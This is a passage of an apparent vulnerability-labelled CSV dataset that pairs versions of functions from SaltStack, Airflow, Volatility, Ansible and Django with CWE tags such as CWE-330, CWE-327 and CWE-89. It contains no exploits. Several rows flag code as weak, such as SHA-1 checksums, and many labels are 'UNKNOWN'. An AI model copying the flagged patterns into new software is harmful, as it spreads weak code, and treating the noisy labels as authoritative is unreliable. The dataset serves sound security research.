            self.road_stack.value.serviceAll()",CWE-330,saltstack/salt,1c780e81b6d40be041c72d3f997ea8d49bf79178,"def action(self):
        '''
        Initial pillar
        '''
        # default master is the first remote that is allowed
        available_masters = [remote for remote in self.road_stack.value.remotes.values()
                                               if remote.allowed]
        while not available_masters:
            available_masters = [remote for remote in self.road_stack.value.remotes.values()
                                                           if remote.allowed]
            time.sleep(0.1)

        random_master = self.opts.value.get('random_master')
        if random_master:
            master = available_masters[random.randint(0, len(available_masters) - 1)]
        else:
            master = available_masters[0]

        self.master_estate_name.value = master.name

        route = {'src': (self.road_stack.value.local.name, None, None),
                 'dst': (next(self.road_stack.value.remotes.values()).name, None, 'remote_cmd')}
        load = {'id': self.opts.value['id'],
                'grains': self.grains.value,
                'saltenv': self.opts.value['environment'],
                'ver': '2',
                'cmd': '_pillar'}
        self.road_stack.value.transmit({'route': route, 'load': load},
                                       uid=master.uid)
        self.road_stack.value.serviceAll()
        while True:
            time.sleep(0.1)
            while self.road_stack.value.rxMsgs:
                msg, sender = self.road_stack.value.rxMsgs.popleft()
                self.pillar.value = msg.get('return', {})
                if self.pillar.value is None:
                    continue
                self.opts.value['pillar'] = self.pillar.value
                self.pillar_refresh.value = False
                return
            self.road_stack.value.serviceAll()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/executors/kubernetes_executor.py,0,"def clear_not_launched_queued_tasks(self, session=None) -> None:
        """"""
        If the airflow scheduler restarts with pending ""Queued"" tasks, the tasks may or
        may not
        have been launched. Thus on starting up the scheduler let's check every
        ""Queued"" task to
        see if it has been launched (ie: if there is a corresponding pod on kubernetes)

        If it has been launched then do nothing, otherwise reset the state to ""None"" so
        the task
        will be rescheduled

        This will not be necessary in a future version of airflow in which there is
        proper support
        for State.LAUNCHED
        """"""
        if not self.kube_client:
            raise AirflowException(NOT_STARTED_MESSAGE)
        queued_tasks = session \
            .query(TaskInstance) \
            .filter(TaskInstance.state == State.QUEUED).all()
        self.log.info(
            'When executor started up, found %s queued task instances',
            len(queued_tasks)
        )

        for task in queued_tasks:
            # pylint: disable=protected-access
            dict_string = (
                ""dag_id={},task_id={},execution_date={},airflow-worker={}"".format(
                    pod_generator.make_safe_label_value(task.dag_id),
                    pod_generator.make_safe_label_value(task.task_id),
                    AirflowKubernetesScheduler._datetime_to_label_safe_datestring(  # noqa
                        task.execution_date
                    ),
                    self.worker_uuid
                )
            )
            # pylint: enable=protected-access
            kwargs = dict(label_selector=dict_string)
            if self.kube_config.kube_client_request_args:
                for key, value in self.kube_config.kube_client_request_args.items():
                    kwargs[key] = value
            pod_list = self.kube_client.list_namespaced_pod(
                self.kube_config.kube_namespace, **kwargs)
            if not pod_list.items:
                self.log.info(
                    'TaskInstance: %s found in queued state but was not launched, '
                    'rescheduling', task
                )
                session.query(TaskInstance).filter(
                    TaskInstance.dag_id == task.dag_id,
                    TaskInstance.task_id == task.task_id,
                    TaskInstance.execution_date == task.execution_date
                ).update({TaskInstance.state: State.NONE})",CWE-Unknown,apache/airflow,2f2d8dbfafefb4be3dd80f22f31c649c8498f148,"def clear_not_launched_queued_tasks(self, session=None) -> None:
        """"""
        If the airflow scheduler restarts with pending ""Queued"" tasks, the tasks may or
        may not
        have been launched. Thus on starting up the scheduler let's check every
        ""Queued"" task to
        see if it has been launched (ie: if there is a corresponding pod on kubernetes)

        If it has been launched then do nothing, otherwise reset the state to ""None"" so
        the task
        will be rescheduled

        This will not be necessary in a future version of airflow in which there is
        proper support
        for State.LAUNCHED
        """"""
        if not self.kube_client:
            raise AirflowException(NOT_STARTED_MESSAGE)
        queued_tasks = session \
            .query(TaskInstance) \
            .filter(TaskInstance.state == State.QUEUED).all()
        self.log.info(
            'When executor started up, found %s queued task instances',
            len(queued_tasks)
        )

        for task in queued_tasks:
            # noinspection PyProtectedMember
            # pylint: disable=protected-access
            dict_string = (
                ""dag_id={},task_id={},execution_date={},airflow-worker={}"".format(
                    pod_generator.make_safe_label_value(task.dag_id),
                    pod_generator.make_safe_label_value(task.task_id),
                    AirflowKubernetesScheduler._datetime_to_label_safe_datestring(
                        task.execution_date
                    ),
                    self.worker_uuid
                )
            )
            # pylint: enable=protected-access
            kwargs = dict(label_selector=dict_string)
            if self.kube_config.kube_client_request_args:
                for key, value in self.kube_config.kube_client_request_args.items():
                    kwargs[key] = value
            pod_list = self.kube_client.list_namespaced_pod(
                self.kube_config.kube_namespace, **kwargs)
            if not pod_list.items:
                self.log.info(
                    'TaskInstance: %s found in queued state but was not launched, '
                    'rescheduling', task
                )
                session.query(TaskInstance).filter(
                    TaskInstance.dag_id == task.dag_id,
                    TaskInstance.task_id == task.task_id,
                    TaskInstance.execution_date == task.execution_date
                ).update({TaskInstance.state: State.NONE})"
functions_for_volatility_with_cwe.csv,UNKNOWN,UNKNOWN,volatility/plugins/gui/win32k_core.py,0,"def atoms(self):
        """"""Carve all atoms out of this atom table""""""
        # The default hash buckets should be 0x25 
        for bkt in self.Buckets:
            seen = []
            cur = bkt.dereference()
            while cur.is_valid() and cur.v() != 0:
                if cur.obj_offset in seen:
                    break
                yield cur
                seen.append(cur.obj_offset)
                cur = cur.HashLink.dereference()",,volatilityfoundation/volatility,a98432b9dda0f7dca0e1db4c9eba55074ba6ba9d,"def atoms(self):
        """"""Carve all atoms out of this atom table""""""
        # The default hash buckets should be 0x25 
        for bkt in self.Buckets:
            cur = bkt.dereference()
            while cur.is_valid() and cur.v() != 0:
                yield cur
                cur = cur.HashLink.dereference()"
functions_for_airflow_with_cwe.csv,UNKNOWN,UNKNOWN,airflow/jobs/scheduler_job_runner.py,0,"def __init__(
        self,
        job: Job,
        num_runs: int = conf.getint(""scheduler"", ""num_runs""),
        num_times_parse_dags: int = -1,
        scheduler_idle_sleep_time: float = conf.getfloat(""scheduler"", ""scheduler_idle_sleep_time""),
        log: logging.Logger | None = None,
    ):
        super().__init__(job)
        self.num_runs = num_runs
        # In specific tests, we want to stop the parse loop after the _files_ have been parsed a certain
        # number of times. This is only to support testing, and isn't something a user is likely to want to
        # configure -- they'll want num_runs
        self.num_times_parse_dags = num_times_parse_dags
        self._scheduler_idle_sleep_time = scheduler_idle_sleep_time
        # How many seconds do we wait for tasks to heartbeat before timeout.
        self._task_instance_heartbeat_timeout_secs = conf.getint(
            ""scheduler"", ""task_instance_heartbeat_timeout""
        )
        self._dag_stale_not_seen_duration = conf.getint(""scheduler"", ""dag_stale_not_seen_duration"")
        self._task_queued_timeout = conf.getfloat(""scheduler"", ""task_queued_timeout"")
        self._enable_tracemalloc = conf.getboolean(""scheduler"", ""enable_tracemalloc"")

        # this param is intentionally undocumented
        self._num_stuck_queued_retries = conf.getint(
            section=""scheduler"",
            key=""num_stuck_in_queued_retries"",
            fallback=2,
        )

        if self._enable_tracemalloc:
            import tracemalloc

            tracemalloc.start()

        if log:
            self._log = log

        self.dagbag = DagBag(read_dags_from_db=True, load_op_links=False)",CWE-Unknown,apache/airflow,d1a44f0d5825d12e486727dfe0bab9c977c97a31,"def __init__(
        self,
        job: Job,
        num_runs: int = conf.getint(""scheduler"", ""num_runs""),
        num_times_parse_dags: int = -1,
        scheduler_idle_sleep_time: float = conf.getfloat(""scheduler"", ""scheduler_idle_sleep_time""),
        log: logging.Logger | None = None,
    ):
        super().__init__(job)
        self.num_runs = num_runs
        # In specific tests, we want to stop the parse loop after the _files_ have been parsed a certain
        # number of times. This is only to support testing, and isn't something a user is likely to want to
        # configure -- they'll want num_runs
        self.num_times_parse_dags = num_times_parse_dags
        self._scheduler_idle_sleep_time = scheduler_idle_sleep_time
        # How many seconds do we wait for tasks to heartbeat before mark them as zombies.
        self._zombie_threshold_secs = conf.getint(""scheduler"", ""scheduler_zombie_task_threshold"")
        self._dag_stale_not_seen_duration = conf.getint(""scheduler"", ""dag_stale_not_seen_duration"")
        self._task_queued_timeout = conf.getfloat(""scheduler"", ""task_queued_timeout"")
        self._enable_tracemalloc = conf.getboolean(""scheduler"", ""enable_tracemalloc"")

        # this param is intentionally undocumented
        self._num_stuck_queued_retries = conf.getint(
            section=""scheduler"",
            key=""num_stuck_in_queued_retries"",
            fallback=2,
        )

        if self._enable_tracemalloc:
            import tracemalloc

            tracemalloc.start()

        if log:
            self._log = log

        self.dagbag = DagBag(read_dags_from_db=True, load_op_links=False)"
,UNKNOWN,UNKNOWN,lib/ansible/plugins/shell/fish.py,1,"def checksum(self, path, python_interp):
        # The following test is fish-compliant.
        #
        # In the following test, each condition is a check and logical
        # comparison (or or and) that sets the rc value.  Every check is run so
        # the last check in the series to fail will be the rc that is
        # returned.
        #
        # If a check fails we error before invoking the hash functions because
        # hash functions may successfully take the hash of a directory on BSDs
        # (UFS filesystem?) which is not what the rest of the ansible code
        # expects
        #
        # If all of the available hashing methods fail we fail with an rc of
        # 0.  This logic is added to the end of the cmd at the bottom of this
        # function.

        # Return codes:
        # checksum: success!
        # 0: Unknown error
        # 1: Remote file does not exist
        # 2: No read permissions on the file
        # 3: File is a directory
        # 4: No python interpreter

        # Quoting gets complex here.  We're writing a python string that's
        # used by a variety of shells on the remote host to invoke a python
        # ""one-liner"".
        shell_escaped_path = shlex_quote(path)
        test = ""set rc flag; [ -r %(p)s ] %(shell_or)s set rc 2; [ -f %(p)s ] %(shell_or)s set rc 1; [ -d %(p)s ] %(shell_and)s set rc 3; %(i)s -V 2>/dev/null %(shell_or)s set rc 4; [ x\""$rc\"" != \""xflag\"" ] %(shell_and)s echo \""$rc  \""%(p)s %(shell_and)s exit 0"" % dict(p=shell_escaped_path, i=python_interp, shell_and=self._SHELL_AND, shell_or=self._SHELL_OR)  # NOQA
        csums = [
            u""({0} -c 'import hashlib; BLOCKSIZE = 65536; hasher = hashlib.sha1();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),  # NOQA  Python > 2.4 (including python3)
            u""({0} -c 'import sha; BLOCKSIZE = 65536; hasher = sha.sha();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),  # NOQA  Python == 2.4
        ]

        cmd = ("" %s "" % self._SHELL_OR).join(csums)
        cmd = ""%s; %s %s (echo \'0  \'%s)"" % (test, cmd, self._SHELL_OR, shell_escaped_path)
        return cmd",CWE-327,ansible/ansible,3164e8b561931b413ee91f537e2ea3273b0a1775,"def checksum(self, path, python_interp):
        # The following test is fish-compliant.
        #
        # In the following test, each condition is a check and logical
        # comparison (or or and) that sets the rc value.  Every check is run so
        # the last check in the series to fail will be the rc that is
        # returned.
        #
        # If a check fails we error before invoking the hash functions because
        # hash functions may successfully take the hash of a directory on BSDs
        # (UFS filesystem?) which is not what the rest of the ansible code
        # expects
        #
        # If all of the available hashing methods fail we fail with an rc of
        # 0.  This logic is added to the end of the cmd at the bottom of this
        # function.

        # Return codes:
        # checksum: success!
        # 0: Unknown error
        # 1: Remote file does not exist
        # 2: No read permissions on the file
        # 3: File is a directory
        # 4: No python interpreter

        # Quoting gets complex here.  We're writing a python string that's
        # used by a variety of shells on the remote host to invoke a python
        # ""one-liner"".
        shell_escaped_path = shlex_quote(path)
        test = ""set rc flag; [ -r %(p)s ] %(shell_or)s set rc 2; [ -f %(p)s ] %(shell_or)s set rc 1; [ -d %(p)s ] %(shell_and)s set rc 3; %(i)s -V 2>/dev/null %(shell_or)s set rc 4; [ x\""$rc\"" != \""xflag\"" ] %(shell_and)s echo \""$rc  \""%(p)s %(shell_and)s exit 0"" % dict(p=shell_escaped_path, i=python_interp, shell_and=self._SHELL_AND, shell_or=self._SHELL_OR)
        csums = [
            u""({0} -c 'import hashlib; BLOCKSIZE = 65536; hasher = hashlib.sha1();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python > 2.4 (including python3)
            u""({0} -c 'import sha; BLOCKSIZE = 65536; hasher = sha.sha();{2}afile = open(\""'{1}'\"", \""rb\""){2}buf = afile.read(BLOCKSIZE){2}while len(buf) > 0:{2}\thasher.update(buf){2}\tbuf = afile.read(BLOCKSIZE){2}afile.close(){2}print(hasher.hexdigest())' 2>/dev/null)"".format(python_interp, shell_escaped_path, self._SHELL_EMBEDDED_PY_EOL),      # Python == 2.4
        ]

        cmd = ("" %s "" % self._SHELL_OR).join(csums)
        cmd = ""%s; %s %s (echo \'0  \'%s)"" % (test, cmd, self._SHELL_OR, shell_escaped_path)
        return cmd"
functions_for_django_with_cwe.csv,UNKNOWN,UNKNOWN,tests/utils_tests/test_encoding.py,0,"def test_force_bytes_exception(self):
        """"""
        force_bytes knows how to convert to bytes an exception
        containing non-ASCII characters in its args.
        """"""
        error_msg = ""This is an exception, voilà""
        exc = ValueError(error_msg)
        self.assertEqual(force_bytes(exc), error_msg.encode())
        self.assertEqual(force_bytes(exc, encoding='ascii', errors='ignore'), b'This is an exception, voil')",CWE-Unknown,django/django,500532c95db40b0b24654be7bb0d76b66b022bd5,"def test_force_bytes_exception(self):
        """"""
        force_bytes knows how to convert to bytes an exception
        containing non-ASCII characters in its args.
        """"""
        error_msg = ""This is an exception, voilà""
        exc = ValueError(error_msg)
        self.assertEqual(force_bytes(exc), error_msg.encode('utf-8'))
        self.assertEqual(force_bytes(exc, encoding='ascii', errors='ignore'), b'This is an exception, voil')"
,UNKNOWN,UNKNOWN,django/db/backends/base/schema.py,1,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Perform a ""physical"" (non-ManyToMany) field update.""""""
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if (
            self.connection.features.supports_foreign_keys and
            old_field.remote_field and
            old_field.db_constraint
        ):
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_fk_sql(model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or self._field_became_primary_key(old_field, new_field)):
            # Find the unique constraint for this field
            meta_constraint_names = {constraint.name for constraint in model._meta.constraints}
            constraint_names = self._constraint_names(
                model, [old_field.column], unique=True, primary_key=False,
                exclude=meta_constraint_names,
            )
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_unique_sql(model, constraint_name))
        # Drop incoming FK constraints if the field is a primary key or unique,
        # which might be a to_field target, and things are going to change.
        drop_foreign_keys = (
            self.connection.features.supports_foreign_keys and (
                (old_field.primary_key and new_field.primary_key) or
                (old_field.unique and new_field.unique)
            ) and old_type != new_type
        )
        if drop_foreign_keys:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_fk_sql(new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        # Remove indexes if db_index switched to False or a unique constraint
        # will now be used in lieu of an index. The following lines from the
        # truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # True               | False            | False              | False
        # True               | False            | False              | True
        # True               | False            | True               | True
        if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
            # Find the index for this field
            meta_index_names = {index.name for index in model._meta.indexes}
            # Retrieve only BTREE indexes since this is what's created with
            # db_index=True.
            index_names = self._constraint_names(
                model, [old_field.column], index=True, type_=Index.suffix,
                exclude=meta_index_names,
            )
            for index_name in index_names:
                # The only way to check if an index was created with
                # db_index=True or with Index(['field'], name='foo')
                # is to look at its name (refs #28053).
                self.execute(self._delete_index_sql(model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            meta_constraint_names = {constraint.name for constraint in model._meta.constraints}
            constraint_names = self._constraint_names(
                model, [old_field.column], check=True,
                exclude=meta_constraint_names,
            )
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_check_sql(model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
            # Rename all references to the renamed column.
            for sql in self.deferred_sql:
                if isinstance(sql, Statement):
                    sql.rename_column_references(model._meta.db_table, old_field.column, new_field.column)
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Collation change?
        old_collation = getattr(old_field, 'db_collation', None)
        new_collation = getattr(new_field, 'db_collation', None)
        if old_collation != new_collation:
            # Collation change handles also a type change.
            fragment = self._alter_column_collation_sql(model, new_field, new_type, new_collation)
            actions.append(fragment)
        # Type change?
        elif old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model, old_field, new_field, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        needs_database_default = False
        if old_field.null and not new_field.null:
            old_default = self.effective_default(old_field)
            new_default = self.effective_default(new_field)
            if (
                not self.skip_default_on_alter(new_field) and
                old_default != new_default and
                new_default is not None
            ):
                needs_database_default = True
                actions.append(self._alter_column_default_sql(model, old_field, new_field))
        # Nullability change?
        if old_field.null != new_field.null:
            fragment = self._alter_column_null_sql(model, old_field, new_field)
            if fragment:
                null_actions.append(fragment)
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # If primary_key changed to False, delete the primary key constraint.
        if old_field.primary_key and not new_field.primary_key:
            self._delete_primary_key(model, strict)
        # Added a unique?
        if self._unique_should_be_added(old_field, new_field):
            self.execute(self._create_unique_sql(model, [new_field]))
        # Added an index? Add an index if db_index switched to True or a unique
        # constraint will no longer be used in lieu of an index. The following
        # lines from the truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # False              | False            | True               | False
        # False              | True             | True               | False
        # True               | True             | True               | False
        if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
            self.execute(self._create_index_sql(model, fields=[new_field]))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if drop_foreign_keys:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        if self._field_became_primary_key(old_field, new_field):
            # Make the new one
            self.execute(self._create_primary_key_sql(model, new_field))
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
                    ""table"": self.quote_name(new_rel.related_model._meta.db_table),
                    ""changes"": fragment[0],
                },
                fragment[1],
            )
            for sql, params in other_actions:
                self.execute(sql, params)
        # Does it have a foreign key?
        if (self.connection.features.supports_foreign_keys and new_field.remote_field and
                (fks_dropped or not old_field.remote_field or not old_field.db_constraint) and
                new_field.db_constraint):
            self.execute(self._create_fk_sql(model, new_field, ""_fk_%(to_table)s_%(to_column)s""))
        # Rebuild FKs that pointed to us if we previously had to drop them
        if drop_foreign_keys:
            for _, rel in rels_to_update:
                if rel.field.db_constraint:
                    self.execute(self._create_fk_sql(rel.related_model, rel.field, ""_fk""))
        # Does it have check constraints we need to add?
        if old_db_params['check'] != new_db_params['check'] and new_db_params['check']:
            constraint_name = self._create_index_name(model._meta.db_table, [new_field.column], suffix='_check')
            self.execute(self._create_check_sql(model, constraint_name, new_db_params['check']))
        # Drop the default if we need to
        # (Django usually does not use in-database defaults)
        if needs_database_default:
            changes_sql, params = self._alter_column_default_sql(model, old_field, new_field, drop=True)
            sql = self.sql_alter_column % {
                ""table"": self.quote_name(model._meta.db_table),
                ""changes"": changes_sql,
            }
            self.execute(sql, params)
        # Reset connection if required
        if self.connection.features.connection_persists_old_columns:
            self.connection.close()",CWE-89,django/django,3d9040a50b160f8b4bb580e09f4120d4979fe29e,"def _alter_field(self, model, old_field, new_field, old_type, new_type,
                     old_db_params, new_db_params, strict=False):
        """"""Perform a ""physical"" (non-ManyToMany) field update.""""""
        # Drop any FK constraints, we'll remake them later
        fks_dropped = set()
        if (
            self.connection.features.supports_foreign_keys and
            old_field.remote_field and
            old_field.db_constraint
        ):
            fk_names = self._constraint_names(model, [old_field.column], foreign_key=True)
            if strict and len(fk_names) != 1:
                raise ValueError(""Found wrong number (%s) of foreign key constraints for %s.%s"" % (
                    len(fk_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for fk_name in fk_names:
                fks_dropped.add((old_field.column,))
                self.execute(self._delete_fk_sql(model, fk_name))
        # Has unique been removed?
        if old_field.unique and (not new_field.unique or self._field_became_primary_key(old_field, new_field)):
            # Find the unique constraint for this field
            meta_constraint_names = {constraint.name for constraint in model._meta.constraints}
            constraint_names = self._constraint_names(
                model, [old_field.column], unique=True, primary_key=False,
                exclude=meta_constraint_names,
            )
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of unique constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_unique_sql(model, constraint_name))
        # Drop incoming FK constraints if the field is a primary key or unique,
        # which might be a to_field target, and things are going to change.
        drop_foreign_keys = (
            self.connection.features.supports_foreign_keys and (
                (old_field.primary_key and new_field.primary_key) or
                (old_field.unique and new_field.unique)
            ) and old_type != new_type
        )
        if drop_foreign_keys:
            # '_meta.related_field' also contains M2M reverse fields, these
            # will be filtered out
            for _old_rel, new_rel in _related_non_m2m_objects(old_field, new_field):
                rel_fk_names = self._constraint_names(
                    new_rel.related_model, [new_rel.field.column], foreign_key=True
                )
                for fk_name in rel_fk_names:
                    self.execute(self._delete_fk_sql(new_rel.related_model, fk_name))
        # Removed an index? (no strict check, as multiple indexes are possible)
        # Remove indexes if db_index switched to False or a unique constraint
        # will now be used in lieu of an index. The following lines from the
        # truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # True               | False            | False              | False
        # True               | False            | False              | True
        # True               | False            | True               | True
        if old_field.db_index and not old_field.unique and (not new_field.db_index or new_field.unique):
            # Find the index for this field
            meta_index_names = {index.name for index in model._meta.indexes}
            # Retrieve only BTREE indexes since this is what's created with
            # db_index=True.
            index_names = self._constraint_names(
                model, [old_field.column], index=True, type_=Index.suffix,
                exclude=meta_index_names,
            )
            for index_name in index_names:
                # The only way to check if an index was created with
                # db_index=True or with Index(['field'], name='foo')
                # is to look at its name (refs #28053).
                self.execute(self._delete_index_sql(model, index_name))
        # Change check constraints?
        if old_db_params['check'] != new_db_params['check'] and old_db_params['check']:
            meta_constraint_names = {constraint.name for constraint in model._meta.constraints}
            constraint_names = self._constraint_names(
                model, [old_field.column], check=True,
                exclude=meta_constraint_names,
            )
            if strict and len(constraint_names) != 1:
                raise ValueError(""Found wrong number (%s) of check constraints for %s.%s"" % (
                    len(constraint_names),
                    model._meta.db_table,
                    old_field.column,
                ))
            for constraint_name in constraint_names:
                self.execute(self._delete_check_sql(model, constraint_name))
        # Have they renamed the column?
        if old_field.column != new_field.column:
            self.execute(self._rename_field_sql(model._meta.db_table, old_field, new_field, new_type))
            # Rename all references to the renamed column.
            for sql in self.deferred_sql:
                if isinstance(sql, Statement):
                    sql.rename_column_references(model._meta.db_table, old_field.column, new_field.column)
        # Next, start accumulating actions to do
        actions = []
        null_actions = []
        post_actions = []
        # Collation change?
        old_collation = getattr(old_field, 'db_collation', None)
        new_collation = getattr(new_field, 'db_collation', None)
        if old_collation != new_collation:
            # Collation change handles also a type change.
            fragment = self._alter_column_collation_sql(model, new_field, new_type, new_collation)
            actions.append(fragment)
        # Type change?
        elif old_type != new_type:
            fragment, other_actions = self._alter_column_type_sql(model, old_field, new_field, new_type)
            actions.append(fragment)
            post_actions.extend(other_actions)
        # When changing a column NULL constraint to NOT NULL with a given
        # default value, we need to perform 4 steps:
        #  1. Add a default for new incoming writes
        #  2. Update existing NULL rows with new default
        #  3. Replace NULL constraint with NOT NULL
        #  4. Drop the default again.
        # Default change?
        needs_database_default = False
        if old_field.null and not new_field.null:
            old_default = self.effective_default(old_field)
            new_default = self.effective_default(new_field)
            if (
                not self.skip_default_on_alter(new_field) and
                old_default != new_default and
                new_default is not None
            ):
                needs_database_default = True
                actions.append(self._alter_column_default_sql(model, old_field, new_field))
        # Nullability change?
        if old_field.null != new_field.null:
            fragment = self._alter_column_null_sql(model, old_field, new_field)
            if fragment:
                null_actions.append(fragment)
        # Only if we have a default and there is a change from NULL to NOT NULL
        four_way_default_alteration = (
            new_field.has_default() and
            (old_field.null and not new_field.null)
        )
        if actions or null_actions:
            if not four_way_default_alteration:
                # If we don't have to do a 4-way default alteration we can
                # directly run a (NOT) NULL alteration
                actions = actions + null_actions
            # Combine actions together if we can (e.g. postgres)
            if self.connection.features.supports_combined_alters and actions:
                sql, params = tuple(zip(*actions))
                actions = [("", "".join(sql), sum(params, []))]
            # Apply those actions
            for sql, params in actions:
                self.execute(
                    self.sql_alter_column % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""changes"": sql,
                    },
                    params,
                )
            if four_way_default_alteration:
                # Update existing rows with default value
                self.execute(
                    self.sql_update_with_default % {
                        ""table"": self.quote_name(model._meta.db_table),
                        ""column"": self.quote_name(new_field.column),
                        ""default"": ""%s"",
                    },
                    [new_default],
                )
                # Since we didn't run a NOT NULL change before we need to do it
                # now
                for sql, params in null_actions:
                    self.execute(
                        self.sql_alter_column % {
                            ""table"": self.quote_name(model._meta.db_table),
                            ""changes"": sql,
                        },
                        params,
                    )
        if post_actions:
            for sql, params in post_actions:
                self.execute(sql, params)
        # If primary_key changed to False, delete the primary key constraint.
        if old_field.primary_key and not new_field.primary_key:
            self._delete_primary_key(model, strict)
        # Added a unique?
        if self._unique_should_be_added(old_field, new_field):
            self.execute(self._create_unique_sql(model, [new_field]))
        # Added an index? Add an index if db_index switched to True or a unique
        # constraint will no longer be used in lieu of an index. The following
        # lines from the truth table show all True cases; the rest are False:
        #
        # old_field.db_index | old_field.unique | new_field.db_index | new_field.unique
        # ------------------------------------------------------------------------------
        # False              | False            | True               | False
        # False              | True             | True               | False
        # True               | True             | True               | False
        if (not old_field.db_index or old_field.unique) and new_field.db_index and not new_field.unique:
            self.execute(self._create_index_sql(model, fields=[new_field]))
        # Type alteration on primary key? Then we need to alter the column
        # referring to us.
        rels_to_update = []
        if drop_foreign_keys:
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Changed to become primary key?
        if self._field_became_primary_key(old_field, new_field):
            # Make the new one
            self.execute(self._create_primary_key_sql(model, new_field))
            # Update all referencing columns
            rels_to_update.extend(_related_non_m2m_objects(old_field, new_field))
        # Handle our type alters on the other end of rels from the PK stuff above
        for old_rel, new_rel in rels_to_update:
            rel_db_params = new_rel.field.db_parameters(connection=self.connection)
            rel_type = rel_db_params['type']
            fragment, other_actions = self._alter_column_type_sql(
                new_rel.related_model, old_rel.field, new_rel.field, rel_type
            )
            self.execute(
                self.sql_alter_column % {
